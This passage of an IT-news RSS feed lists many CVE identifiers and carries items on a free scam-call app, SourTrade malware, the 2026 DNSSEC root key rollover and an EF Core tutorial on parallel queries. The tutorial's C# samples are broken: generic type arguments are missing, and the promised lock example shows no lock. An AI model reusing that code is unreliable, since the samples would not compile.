CVE-2026-53039, CVE-2026-53040, CVE-2026-53041, CVE-2026-53042,
CVE-2026-53043, CVE-2026-53044, CVE-2026-53045, CVE-2026-53046,
CVE-2026-53047, CVE-2026-53048, CVE-2026-53049, CVE-2026-53050,
CVE-2026-53051, CVE-2026-53052, CVE-2026-53053, CVE-2026-53054,
CVE-2026-53055, CVE-2026-53056, CVE-2026-53057, CVE-2026-53058,
CVE-2026-53059, CVE-2026-53060, CVE-2026-53061, CVE-2026-53062,
CVE-2026-53063, CVE-2026-53064, CVE-2026-53065, CVE-2026-53066,
CVE-2026-53067, CVE-2026-53068, CVE-2026-53069, CVE-2026-53070,
CVE-2026-53071, CVE-2026-53072, CVE-2026-53073, CVE-2026-53074,
CVE-2026-53075, CVE-2026-53076, CVE-2026-53077, CVE-2026-53078,
CVE-2026-53079, CVE-2026-53080, CVE-2026-53081, CVE-2026-53082,
CVE-2026-53083, CVE-2026-53084, CVE-2026-53085, CVE-2026-53086,
CVE-2026-53087, CVE-2026-53088, CVE-2026-53089, CVE-2026-53090,
CVE-2026-53091, CVE-2026-53092, CVE-2026-53093, CVE-2026-53094,
CVE-2026-53095, CVE-2026-53096, CVE-2026-53097, CVE-2026-53098,
CVE-2026-53099, CVE-2026-53100, CVE-2026-53101, CVE-2026-53102,
CVE-2026-53103, CVE-2026-53104, CVE-2026-53105, CVE-2026-53106,
CVE-2026-53107, CVE-2026-53108, CVE-2026-53109, CVE-2026-53110,
CVE-2026-53111, CVE-2026-53112, CVE-2026-53113, CVE-2026-53114,
CVE-2026-53115, CVE-2026-53116, CVE-2026-53117, CVE-2026-53118,
CVE-2026-53119, CVE-2026-53120, CVE-2026-53121, CVE-2026-53122,
CVE-2026-53123, CVE-2026-53124, CVE-2026-53125, CVE-2026-53126,
CVE-2026-53127, CVE-2026-53128, CVE-2026-53129, CVE-2026-53130,
CVE-2026-53174, CVE-2026-53277, CVE-2026-53278, CVE-2026-53279,
CVE-2026-53280, CVE-2026-53281, CVE-2026-53282, CVE-2026-53283,
CVE-2026-53284, CVE-2026-53285, CVE-2026-53286, CVE-2026-53287,
CVE-2026-53288, CVE-2026-53289, CVE-2026-53290, CVE-2026-53291,
CVE-2026-53292, CVE-2026-53293, CVE-2026-53294, CVE-2026-53295,
CVE-2026-53296, CVE-2026-53297, CVE-2026-53298, CVE-2026-53299,
CVE-2026-53300, CVE-2026-53301, CVE-2026-53302, CVE-2026-53303,
CVE-2026-53304, CVE-2026-53305, CVE-2026-53306, CVE-2026-53307,
CVE-2026-53308, CVE-2026-53309, CVE-2026-53310, CVE-2026-53311,
CVE-2026-53312, CVE-2026-53313, CVE-2026-53314, CVE-2026-53315,
CVE-2026-53316, CVE-2026-53317, CVE-2026-53318, CVE-2026-53319,
CVE-2026-53320, CVE-2026-53321, CVE-2026-53322, CVE-2026-53323,
CVE-2026-53324, CVE-2026-53357, CVE-2026-53358, CVE-2026-53360,
CVE-2026-53364, CVE-2026-53365, CVE-2026-53367, CVE-2026-53368,
CVE-2026-53369, CVE-2026-53370, CVE-2026-53371, CVE-2026-53372,
CVE-2026-53373, CVE-2026-53374, CVE-2026-53375, CVE-2026-53376,
CVE-2026-53377, CVE-2026-53378, CVE-2026-53379, CVE-2026-53380,
CVE-2026-63837, CVE-2026-63838, CVE-2026-63839, CVE-2026-63840,
CVE-2026-63841, CVE-2026-63842, CVE-2026-63843, CVE-2026-63844,
CVE-2026-63845, CVE-2026-63846, CVE-2026-63847, CVE-2026-63848,
CVE-2026-63849, CVE-2026-63850, CVE-2026-63851, CVE-2026-63852,
CVE-2026-63853, CVE-2026-63854, CVE-2026-63855, CVE-2026-63856,
CVE-2026-63857, CVE-2026-63858, CVE-2026-63859, CVE-2026-63860,
CVE-2026-63861, CVE-2026-63862, CVE-2026-63863, CVE-2026-63864,
CVE-2026-63865, CVE-2026-63866, CVE-2026-63875, CVE-2026-63876,
CVE-2026-63877, CVE-2026-63878, CVE-2026-63879, CVE-2026-63880,
CVE-2026-63881, CVE-2026-63882, CVE-2026-63883, CVE-2026-63884,
CVE-2026-63886, CVE-2026-63887, CVE-2026-63888, CVE-2026-63889,
CVE-2026-63890, CVE-2026-63891, CVE-2026-63892, CVE-2026-63893,
CVE-2026-63894, CVE-2026-63895, CVE-2026-63896, CVE-2026-63897,
CVE-2026-63898, CVE-2026-63899, CVE-2026-63900, CVE-2026-63901,
CVE-2026-63902, CVE-2026-63903, CVE-2026-63904, CVE-2026-63905,
CVE-2026-63906, CVE-2026-63907, CVE-2026-63908, CVE-2026-63910,
CVE-2026-63911, CVE-2026-63912, CVE-2026-63913, CVE-2026-63914,
CVE-2026-63915, CVE-2026-63916, CVE-2026-63917, CVE-2026-63918,
CVE-2026-63919, CVE-2026-63920, CVE-2026-63921, CVE-2026-63922,
CVE-2026-63923, CVE-2026-63924, CVE-2026-63925, CVE-2026-63926,
CVE-2026-63927, CVE-2026-63928, CVE-2026-63929, CVE-2026-63930,
CVE-2026-63931, CVE-2026-63932, CVE-2026-63933, CVE-2026-63934,
CVE-2026-63935, CVE-2026-63936, CVE-2026-63937, CVE-2026-63938,
CVE-2026-63939, CVE-2026-63940, CVE-2026-63941, CVE-2026-63942,
CVE-2026-63943, CVE-2026-63944, CVE-2026-63945, CVE-2026-63946,
CVE-2026-63947, CVE-2026-63948, CVE-2026-63949, CVE-2026-63950,
CVE-2026-63951, CVE-2026-63952, CVE-2026-63953, CVE-2026-63954,
CVE-2026-63955, CVE-2026-63956, CVE-2026-63957, CVE-2026-63958,
CVE-2026-63959, CVE-2026-63960, CVE-2026-63961, CVE-2026-63962,
CVE-2026-63963, CVE-2026-63964, CVE-2026-63965, CVE-2026-63966,
CVE-2026-63967, CVE-2026-63968, CVE-2026-63969, CVE-2026-63970,
CVE-2026-63971, CVE-2026-63972, CVE-2026-63973, CVE-2026-63974,
CVE-2026-63975, CVE-2026-63976, CVE-2026-63977, CVE-2026-63978,
CVE-2026-63979, CVE-2026-63980, CVE-2026-63981, CVE-2026-63982,
CVE-2026-63983, CVE-2026-63984, CVE-2026-63985, CVE-2026-63986,
CVE-2026-63987, CVE-2026-63988, CVE-2026-63989, CVE-2026-63990,
CVE-2026-63991, CVE-2026-63992, CVE-2026-63993, CVE-2026-63994,
CVE-2026-63995, CVE-2026-63996, CVE-2026-63997, CVE-2026-63998,
CVE-2026-63999, CVE-2026-64000, CVE-2026-64001, CVE-2026-64002,
CVE-2026-64003, CVE-2026-64004, CVE-2026-64005, CVE-2026-64006,
CVE-2026-64007, CVE-2026-64008, CVE-2026-64009, CVE-2026-64010,
CVE-2026-64011, CVE-2026-64012, CVE-2026-64013, CVE-2026-64014,
CVE-2026-64015, CVE-2026-64017, CVE-2026-64018, CVE-2026-64019,
CVE-2026-64020, CVE-2026-64021, CVE-2026-64022, CVE-2026-64023,
CVE-2026-64024, CVE-2026-64025, CVE-2026-64026, CVE-2026-64027,
CVE-2026-64029, CVE-2026-64030, CVE-2026-64031, CVE-2026-64032,
CVE-2026-64033, CVE-2026-64034, CVE-2026-64035, CVE-2026-64036,
CVE-2026-64037, CVE-2026-64038, CVE-2026-64039, CVE-2026-64040,
CVE-2026-64041, CVE-2026-64042, CVE-2026-64043, CVE-2026-64044,
CVE-2026-64045, CVE-2026-64046, CVE-2026-64047, CVE-2026-64048,
CVE-2026-64049, CVE-2026-64050, CVE-2026-64051, CVE-2026-64052,
CVE-2026-64053, CVE-2026-64054, CVE-2026-64055, CVE-2026-64056,
CVE-2026-64057, CVE-2026-64058, CVE-2026-64059, CVE-2026-64060,
CVE-2026-64061, CVE-2026-64062, CVE-2026-64063, CVE-2026-64064,
CVE-2026-64065, CVE-2026-64066, CVE-2026-64067, CVE-2026-64068,
CVE-2026-64069, CVE-2026-64070, CVE-2026-64071, CVE-2026-64072,
CVE-2026-64073, CVE-2026-64074, CVE-2026-64075, CVE-2026-64076,
CVE-2026-64077, CVE-2026-64078, CVE-2026-64079, CVE-2026-64080,
CVE-2026-64081, CVE-2026-64082, CVE-2026-64083, CVE-2026-64084,
CVE-2026-64085, CVE-2026-64086, CVE-2026-64087, CVE-2026-64088,
CVE-2026-64089, CVE-2026-64090, CVE-2026-64091, CVE-2026-64093,
CVE-2026-64094, CVE-2026-64095, CVE-2026-64096, CVE-2026-64097,
CVE-2026-64098, CVE-2026-64099, CVE-2026-64100, CVE-2026-64101,
CVE-2026-64102, CVE-2026-64103, CVE-2026-64104, CVE-2026-64105,
CVE-2026-64106, CVE-2026-64107, CVE-2026-64108, CVE-2026-64109,
CVE-2026-64110, CVE-2026-64111, CVE-2026-64112, CVE-2026-64113,
CVE-2026-64114, CVE-2026-64115, CVE-2026-64116, CVE-2026-64117,
CVE-2026-64118, CVE-2026-64119, CVE-2026-64120, CVE-2026-64121,
CVE-2026-64122, CVE-2026-64123, CVE-2026-64124, CVE-2026-64125,
CVE-2026-64126, CVE-2026-64127, CVE-2026-64128, CVE-2026-64129,
CVE-2026-64130, CVE-2026-64131, CVE-2026-64132, CVE-2026-64133,
CVE-2026-64134, CVE-2026-64135, CVE-2026-64136, CVE-2026-64137,
CVE-2026-64138, CVE-2026-64140, CVE-2026-64141, CVE-2026-64142,
CVE-2026-64143, CVE-2026-64144, CVE-2026-64145, CVE-2026-64146,
CVE-2026-64147, CVE-2026-64148, CVE-2026-64149, CVE-2026-64150,
CVE-2026-64151, CVE-2026-64152, CVE-2026-64153, CVE-2026-64154,
CVE-2026-64155, CVE-2026-64156, CVE-2026-64157, CVE-2026-64158,
CVE-2026-64159, CVE-2026-64160, CVE-2026-64161, CVE-2026-64162,
CVE-2026-64163, CVE-2026-64164, CVE-2026-64165, CVE-2026-64166,
CVE-2026-64167, CVE-2026-64168, CVE-2026-64169, CVE-2026-64170,
CVE-2026-64171, CVE-2026-64172, CVE-2026-64173, CVE-2026-64174,
CVE-2026-64175, CVE-2026-64176, CVE-2026-64177, CVE-2026-64178,
CVE-2026-64179, CVE-2026-64180, CVE-2026-64181, CVE-2026-64182,
CVE-2026-64183, CVE-2026-64184, CVE-2026-64185, CVE-2026-64186)]]></content:encoded>
</item>
<item>
<title><![CDATA[No NordVPN plan? Its new free HangUp app still screens your scam calls on Android]]></title>
<description><![CDATA[NordVPN has launched HangUp, a free standalone Android app that identifies, categorizes, and blocks scam and telemarketing calls for users with just a free Nord account.]]></description>
<link>https://tsecurity.de/de/3691304/it-nachrichten/no-nordvpn-plan-its-new-free-hangup-app-still-screens-your-scam-calls-on-android/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691304/it-nachrichten/no-nordvpn-plan-its-new-free-hangup-app-still-screens-your-scam-calls-on-android/</guid>
<pubDate>Fri, 24 Jul 2026 12:50:03 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[NordVPN has launched HangUp, a free standalone Android app that identifies, categorizes, and blocks scam and telemarketing calls for users with just a free Nord account.]]></content:encoded>
</item>
<item>
<title><![CDATA[SourTrade Browser-Assembled Malware Defeats Hash-Based Detection by Design]]></title>
<description><![CDATA[SourTrade turns the browser itself into a malware build system, deliberately sidestepping the industry’s reliance on hash-based file fingerprints and traditional network-centric detection. SourTrade has been active since late 2024, abusing programmatic ads to reach retail traders and crypto inves...]]></description>
<link>https://tsecurity.de/de/3691287/it-security-nachrichten/sourtrade-browser-assembled-malware-defeats-hash-based-detection-by-design/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691287/it-security-nachrichten/sourtrade-browser-assembled-malware-defeats-hash-based-detection-by-design/</guid>
<pubDate>Fri, 24 Jul 2026 12:39:08 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>SourTrade turns the browser itself into a malware build system, deliberately sidestepping the industry’s reliance on hash-based file fingerprints and traditional network-centric detection. SourTrade has been active since late 2024, abusing programmatic ads to reach retail traders and crypto investors…</p>
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<p>The post <a href="https://www.itsecuritynews.info/sourtrade-browser-assembled-malware-defeats-hash-based-detection-by-design/">SourTrade Browser-Assembled Malware Defeats Hash-Based Detection by Design</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[SourTrade Browser-Assembled Malware Defeats Hash-Based Detection by Design]]></title>
<description><![CDATA[SourTrade turns the browser itself into a malware build system, deliberately sidestepping the industry’s reliance on hash-based file fingerprints and traditional network-centric detection. SourTrade has been active since late 2024, abusing programmatic ads to reach retail traders and crypto inves...]]></description>
<link>https://tsecurity.de/de/3691260/it-security-nachrichten/sourtrade-browser-assembled-malware-defeats-hash-based-detection-by-design/</link>
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<pubDate>Fri, 24 Jul 2026 12:27:53 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>SourTrade turns the browser itself into a malware build system, deliberately sidestepping the industry’s reliance on hash-based file fingerprints and traditional network-centric detection. SourTrade has been active since late 2024, abusing programmatic ads to reach retail traders and crypto investors in 12 geographies across APAC, LATAM, Africa, and Western markets, including Japan, Thailand, South Korea, […]</p>
<p>The post <a href="https://gbhackers.com/sourtrade-browser-assembled/">SourTrade Browser-Assembled Malware Defeats Hash-Based Detection by Design</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
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<title><![CDATA[CIOs beware: DNS KSK rollover could kick off wave of mysterious outages]]></title>
<description><![CDATA[Predicting an outage is tricky business, but CIOs might want to circle Oct. 11, 2026, through Jan. 11, 2027, for likely trouble of a potentially widespread and puzzling nature.



That’s because a relatively trivial update to DNSSEC on Oct. 11, one that will take full effect by Jan. 11, is likely...]]></description>
<link>https://tsecurity.de/de/3691225/it-security-nachrichten/cios-beware-dns-ksk-rollover-could-kick-off-wave-of-mysterious-outages/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691225/it-security-nachrichten/cios-beware-dns-ksk-rollover-could-kick-off-wave-of-mysterious-outages/</guid>
<pubDate>Fri, 24 Jul 2026 12:09:00 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Predicting an outage is tricky business, but CIOs might want to circle Oct. 11, 2026, through Jan. 11, 2027, for likely trouble of a potentially widespread and puzzling nature.</p>



<p class="wp-block-paragraph">That’s because a relatively trivial update to DNSSEC on Oct. 11, one that will take full effect by Jan. 11, is likely to deliver a series of seemingly unrelated system outages. This will come from oceans of dependencies from third-party, shadow, agentic, gen AI, SaaS, homegrown, and legacy apps — among many other quiet executable hiding spots, including virtual environments and containers.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/joshithak/">Sai Joshitha Kathari</a>, senior site reliability engineer at payment card giant Visa, says most enterprises have far more DNS-related exposure than they realize because of these many dependencies.</p>



<p class="wp-block-paragraph">“This has the potential to create real downstream destruction when unresolved failures sit underneath important business functions,” Kathari says. </p>



<p class="wp-block-paragraph">The danger is that so many of these issues are either unknown to IT or handled by a third-party vendor and no one in IT has had reason to ask those vendors about DNS updates. </p>



<p class="wp-block-paragraph">“The risky areas are usually not the obvious managed DNS services. They are the older internal applications, hardcoded resolvers, containerized workloads, sidecar configurations, custom scripts, partner integrations, VM images, stale base images, and service-to-service dependencies that nobody has touched in a long time,” Kathari explains. “These systems can keep working quietly for years, then fail during a DNS or certificate-related change because they bypassed the normal platform standards.”</p>



<p class="wp-block-paragraph">Independent technology analyst <a href="https://www.linkedin.com/in/carmi/">Carmi Levy</a> says that CIOs need to take this event very seriously. </p>



<p class="wp-block-paragraph">“The two-pronged deadline — October 11, 2026, when the new Key Signing Key (KSK) begins signing the root zone, and January 11, 2027, when the old key is retired — should be marked in red on everyone’s calendar, just as December 31, 1999, once was,” Levy says. “Failure to comply could result in websites, critical business applications, and related resources dropping off the face of the Earth once the transition is complete.”</p>



<p class="wp-block-paragraph">Levy adds: “Custom-built code that lives outside conventional support mechanisms may or may not function when the DNS changes go into effect.”</p>



<p class="wp-block-paragraph">The <a href="https://www.icann.org/resources/press-material/release-2026-05-20-en">DNSSEC update itself</a> is straightforward, but it is also the first significant DNSSEC change — specifically a change in the trust anchor — since 2018. </p>



<p class="wp-block-paragraph">The rollout statement noted that “the trust anchor is formally known as the Domain Name System Security Extensions (DNSSEC) root zone Key Signing Key (KSK). The KSK is the cryptographic key at the core of the DNSSEC trust anchor and is used to verify that DNS responses are legitimate and have not been modified in transit.”</p>



<h2 class="wp-block-heading">Expect nearly every enterprise to be impacted</h2>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/kimdavies/">Kim Davies</a>, vice president of IANA Services and president of public technical identifiers at ICANN, says the extent of the impact on enterprises is unknowable, given the nature of shadow IT and other edge cases. </p>



<p class="wp-block-paragraph">But based on the massive number of dependencies both known and unknown in the typical global enterprise, Davies guesses that just about every enterprise will be impacted, to varying degrees. </p>



<p class="wp-block-paragraph">“In highly complex organizations, it is very likely there will be some impact in the corners, in the margins, of the organization,” Davies tells CIO. “DNS is such a core technology that underpins everything.”</p>



<p class="wp-block-paragraph">As the updates propagate, hiccups will materialize, Davies notes. “When the system cannot validate the [DNS] information, it will treat it as suspect and DNS lookups will fail.”</p>



<p class="wp-block-paragraph">Visa’s Kathari says, “Enterprises should expect some secondary DNS-related glitches when major DNSSEC-related changes happen, not necessarily because the core infrastructure teams will ignore the update, but because large environments have many hidden dependency paths.”</p>



<p class="wp-block-paragraph">Making this problem far worse, Kathari notes, is that the glitches will likely initially look like anything other thana DNS glitch. That will force IT staff to waste a vast number of hours chasing causes that ultimately prove to be unrelated to the incidents. </p>



<p class="wp-block-paragraph">“The impact for CIOs is that DNS failures rarely announce themselves as DNS failures. They look like application timeouts, broken logins, failed API calls, queue lag, payment failures, partner connectivity issues, or random regional instability,” Kathari explains. “That makes troubleshooting slower because teams may spend hours looking at the application, database, network, or cloud provider before realizing name resolution is part of the failure path.”</p>



<p class="wp-block-paragraph"><a href="https://greyhoundresearch.com/svg/">Sanchit Vir Gogia</a>, chief analyst at Greyhound Research, agrees that IT will likely spin its wheels chasing the wrong ghosts.</p>



<p class="wp-block-paragraph">“A validation failure rarely stays in its lane. It surfaces as an application error, an API timeout, or a reachability problem, which turns a resolver fault into a coordination failure,” Gogia says. “The application team blames the network, the network team blames the cloud, and the user simply watches work stop.”</p>



<p class="wp-block-paragraph">“Images and templates are the frontier most teams miss,” Gogia adds. “A resolver fixed in summer can be broken again in October the instant a stale golden image is redeployed, because automation no longer lets configuration drift slowly. It restores yesterday’s assumptions at machine speed.”</p>



<p class="wp-block-paragraph">It is widely expected that enterprises will not have any problems executing the change or, more likely, relying on their hyperscalers to properly handle the change. That is the concern. </p>



<p class="wp-block-paragraph">“CIOs are being distracted so much with AI and this is such a deep in the weeds infrastructure issue that this can and willcatch people off-guard,” <a href="https://acceligence.com/talent/profiles/justin-greis/">Justin Greis</a>, CEO of consulting firm Acceligence, tells CIO. “I think we’ll see a meaningful number of enterprise disruptions associated with the DNSSEC trust anchor rollover. Not because the update itself is especially difficult, but because it will expose weaknesses that already exist inside many organizations.”</p>



<p class="wp-block-paragraph">Most enterprise IT operations have had no reason to compile a comprehensive list of all DNS dependencies, but many will be instantly discovered in January. </p>



<h2 class="wp-block-heading">Potentially widespread fallout</h2>



<p class="wp-block-paragraph">A major retailer, for example, might suddenly be unable to connect with FedEx to arrange for deliveries or a hospital may find that test results are no longer being shared with patient portals. It might manifest as an assembly line that halts because an IIoT component can no longer share files with its vendor system or a truck fleet that stops being tracked. </p>



<p class="wp-block-paragraph">“There will almost certainly be systems that fall through the cracks. Some will be legacy applications that rely on outdated DNS configurations that have not been updated in years,” Greis says. “Others will be business-unit-developed tools, contractor-built solutions, embedded systems, manufacturing and industrial systems, or highly customized workloads that operate outside normal IT oversight. These are the types of systems that often surface during infrastructure events like this.”</p>



<p class="wp-block-paragraph">Greis adds that many enterprises will discover in January problems created by their own automation.</p>



<p class="wp-block-paragraph">“Over time, enterprises build layers of processes, templates, and deployment mechanisms that are reused across teams and environments,” Greis notes. “Even after DNS infrastructure is updated correctly, older settings can inadvertently be reintroduced through routine updates and system changes, creating intermittent and difficult-to-diagnose failures.”</p>



<p class="wp-block-paragraph">The good news from this situation is that enterprises are not going to likely lose all DNS access if any of these glitches occur. But that may be of no comfort because even if the disruptions are only with small edge cases, that can still cause massive operational disruptions.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/cricketliu/">Cricket Liu</a>, EVP and chief evangelist at Infoblox, gives the example of a DNS server that responds to factory-floor system queries.</p>



<p class="wp-block-paragraph">“Or let’s say this disrupts [an enterprise’s key] SaaS application. All name resolution may stop and it will show a server failure. It will not deliver a response whenever I look anything up. That’s not subtle at all,” Liu says. “It’s highly likely that companies are going to see some effects.”</p>



<p class="wp-block-paragraph">Back in 2017, the switchover was relatively uneventful, giving some CIOs hope that January 2027 will also be a non-event. But given the technology advancements in the last 10 years and the resulting tidal wave of new enterprise tech dependencies, few are realistically expecting no problems this go around. </p>



<h2 class="wp-block-heading">Impossible to predict what will happen</h2>



<p class="wp-block-paragraph">One of the top network experts on DNS effects in enterprises is <a href="https://blog.apnic.net/author/geoff-huston/">Geoff Huston</a>, chief scientist at the Asia Pacific Network Information Centre (APNIC), the regional Internet Registry administering IP addresses for the Asia Pacific region.</p>



<p class="wp-block-paragraph">Huston says it is difficult to project what will happen in January until it happens.</p>



<p class="wp-block-paragraph">“Just like the last time, we are flying blind with this key roll. Because nothing really terrible happened last time, there is some confidence that nothing terrible will happen this time, but we just can’t tell in advance as there are no good measurement approaches that allow us to peek inside the trust state of recursive resolvers,” he says.</p>



<p class="wp-block-paragraph">As for potential edge-case glitches, Huston says it is possible, but if third-party vendors do not properly handle the update, there will be other issues as well, as the KSK cryptographic key used within DNSSEC signs and validates the keys that protect DNS records. </p>



<p class="wp-block-paragraph">“If it is not standards-compliant, then you have more problems than just the KSK roll,” Huston says, “as it raises the obvious question of ‘What else is not correctly implemented in the DNS resolver that I’m running?’”</p>



<p class="wp-block-paragraph">As a silver lining, Acceligence’s Greis says any hiccups that result from the DNS KSK update may be a gift in disguise for CIOs. </p>



<p class="wp-block-paragraph">“The irony is that some of the most business-critical components in the technology stack are often the least visible because they work in the background,” Greis says. January “may reveal how much modern business resilience depends on infrastructure that many organizations rarely examine until something breaks. For CIOs, that’s the real lesson. This is not fundamentally a story about a DNS update. It is a story about operational visibility, resilience, and governance. Organizations that treat the rollover as a routine infrastructure task will likely complete the update and move on. Organizations that use it as an opportunity to understand and strengthen the foundations of their technology environment may gain far more value than simply avoiding an outage.”</p>
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<title><![CDATA[How to execute queries in parallel using EF Core]]></title>
<description><![CDATA[EF Core is Microsoft’s flagship ORM (object-relational mapper), the software layer that allows .NET developers to work with relational databases. The DbContext class is the core component of the EF Core framework for managing database operations. However, the DbContext class in EF Core is not thr...]]></description>
<link>https://tsecurity.de/de/3691080/ai-nachrichten/how-to-execute-queries-in-parallel-using-ef-core/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691080/ai-nachrichten/how-to-execute-queries-in-parallel-using-ef-core/</guid>
<pubDate>Fri, 24 Jul 2026 11:04:59 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">EF Core is Microsoft’s flagship ORM (object-relational mapper), the software layer that allows .NET developers to work with relational databases. The <code>DbContext</code> class is the core component of the EF Core framework for managing database operations. However, the <code>DbContext</code> class in EF Core is not thread-safe. Hence, if you share <code>DbContext</code> instances between multiple threads, you will often encounter data corruption issues and the <code>InvalidOperationException</code>.</p>



<p class="wp-block-paragraph">In this article, we’ll learn how we can execute queries in parallel in EF Core by handling thread-safety issues to avoid concurrency errors. To work with the code examples provided in this article, you should have Visual Studio 2026 installed in your system. You can <a href="https://visualstudio.microsoft.com/insiders/">download Visual Studio 2026 here</a>.</p>



<h2 class="wp-block-heading">Executing EF Core queries in parallel – the problem</h2>



<p class="wp-block-paragraph">When working in today’s data-driven applications, you will often need to fetch data from multiple unrelated datasets. In applications that use concurrency, thread-safety is critical to guaranteeing correct execution, avoiding data corruption and race conditions, and ensuring data consistency. Let’s understand this with an example. </p>



<p class="wp-block-paragraph">Let’s say we want to populate a dashboard that displays all recently processed orders, metrics, logs, and traces, as well as your application’s performance metadata. We might write the following code. </p>



<pre class="wp-block-code"><code>public class Dashboard
{
    public List Orders { get; set; } = new();
    public Metrics Metrics { get; set; } = new();
    public List Logs { get; set; } = new();
    public List Traces { get; set; } = new();
}
public static async Task LoadDashboardAsync(ProductService productService)
{
    Task&lt;List&gt;    ordersTask  = productService.GetProcessedOrdersAsync();
    Task        metricsTask = productService.GetMetricsAsync();
    Task&lt;List&gt; logsTask    = productService.GetRecentLogsAsync();
    Task&lt;List&gt;    tracesTask  = productService.GetTracesAsync();
    await Task.WhenAll(ordersTask, metricsTask, logsTask, tracesTask);
    return new Dashboard
    {
        Orders  = await ordersTask,
        Metrics = await metricsTask,
        Logs    = await logsTask,
        Traces  = await tracesTask
    };
}
</code></pre>



<p class="wp-block-paragraph">In the preceding code snippet, there are four read operations that are executed by four different <code>Task</code> instances. Our objective is to ensure that the database round trips run in parallel instead of in sequence. We can accomplish this by using<code>Task.WhenAll</code>, which starts the four tasks, waits for every task to finish, then returns the data wrapped inside a new <code>Dashboard</code> instance.</p>



<p class="wp-block-paragraph">If we executed these queries sequentially, the user would have to wait until each query completed its execution in turn—for a total wait time equal to the sum of the times for all four queries. However, by running these queries in parallel, we reduce the wait time considerably. The user will need to wait only as long as it takes for the slowest of the four queries to complete its execution.</p>



<p class="wp-block-paragraph">However, there is a danger with the above approach. If you run multiple operations on the same <code>DbContext</code> instance, you will see an <code>InvalidOperationException</code> with the following message:</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">A second operation started in this context before the previous operation was completed. This is usually caused by multiple threads using the same <code>DbContext</code> instance; instance members are not guaranteed to be thread-safe.</p>
</blockquote>



<p class="wp-block-paragraph">Databases such as SQL Server, PostgreSQL, and Oracle Database follow a request-response communication model at the connection level: a single connection can process only one command at a time. Hence, you cannot run multiple queries concurrently using the connection. If you <code>await</code> several operations using the same connection, EF Core detects the overlapping use of a non-thread-safe context and throws an <code>InvalidOperationException</code>. To run queries in parallel, you must give each task its own connection or context.</p>



<h2 class="wp-block-heading">Why DbContext isn’t thread-safe – and how to work around it</h2>



<p class="wp-block-paragraph">The <code>DbContext</code> class in EF Core is designed to manage a single unit of work. To be more precise, EF Core does not provide support for running multiple operations on the same <code>DbContext</code> instance. This design approach creates inherent challenges when you use the same <code>DbContext</code> instance across multiple threads. If <code>DbContext</code> were thread-safe, extensive locking would be required, which would degrade data access performance.</p>



<p class="wp-block-paragraph">This stateful design of <code>DbContext</code> makes it unsuitable for concurrent access patterns that involve loading, modifying, or tracking different sets of data simultaneously, because it needs to maintain the internal representation of database state.</p>



<p class="wp-block-paragraph">The <a href="https://learn.microsoft.com/en-us/ef/core/change-tracking/" data-type="link" data-id="https://learn.microsoft.com/en-us/ef/core/change-tracking/">change tracker</a> is one of the most important components of <code>DbContext</code> in EF Core. It monitors all entities loaded into memory and detects any changes made to them after they have been loaded. It keeps track of the original, current, and changed values of the entities, thereby enabling the EF Core runtime to know the current state of these entities when you call the <code>SaveChanges()</code> method on the <code>DbContext</code> instance.</p>



<p class="wp-block-paragraph">To implement thread-safety when working with DbContext, we must write our code to ensure that each concurrent operation gets its own copy of a short-lived instance. Now, we <em>could</em> accomplish this by wrapping a shared <code>DbContext</code> instance inside a thread-safe block using the <code>lock</code> keyword, so that all calls to the database take place using one and only one thread at a time. This approach is illustrated in the code snippet below. </p>



<pre class="wp-block-code"><code>using Microsoft.EntityFrameworkCore;
public class Product
{
    public int Id { get; set; }
    public string Name { get; set; } = string.Empty;
    public decimal Price { get; set; }
    public int Quantity { get; set; }
}
public class AppDbContext : DbContext
{
    public AppDbContext(DbContextOptions options) : base(options) { }
    public DbSet Products =&gt; Set();
}
</code></pre>



<p class="wp-block-paragraph">However, while the above approach gives us the thread-safety we need, it can degrade data access performance considerably. A better approach is to use <code>IDbContextFactory</code> , which creates fresh <code>DbContext</code> instances on demand. Calling its <code>CreateDbContext()</code> method is cheap and produces a fresh, isolated context every time. </p>



<p class="wp-block-paragraph">The following code snippet shows how you can register an instance of type <code>IDbContextFactory</code> as a singleton. You can safely call this code from any thread.</p>



<pre class="wp-block-code"><code>builder.Services.AddDbContextFactory(options =&gt;
    options.UseSqlServer(
        builder.Configuration.GetConnectionString("Default")));
</code></pre>



<h2 class="wp-block-heading">Executing EF Core queries in parallel – the solution</h2>



<p class="wp-block-paragraph">Now let’s see how we can put <code>IDbContextFactory</code> to work. The following code illustrates a class named <code>ProductService</code> that uses a factory to create <code>DbContext</code> instances for each scope of work.</p>



<pre class="wp-block-code"><code>public class ProductService
{
    private readonly IDbContextFactory _factory;
    public ProductService(IDbContextFactory factory)
        =&gt; _factory = factory;
    public async Task GetByIdAsync(int id)
    {
        await using var context = await _factory.CreateDbContextAsync();
        return await context.Products.FindAsync(id);
    }
    public async Task UpdateStockQuantityAsync(int id, int updateQuantity)
    {
        await using var context = await _factory.CreateDbContextAsync();
        var product = await context.Products.FindAsync(id);
        if (product is null) return;
        product.Quantity += updateQuantity;
        await context.SaveChangesAsync();
    }
}
</code></pre>



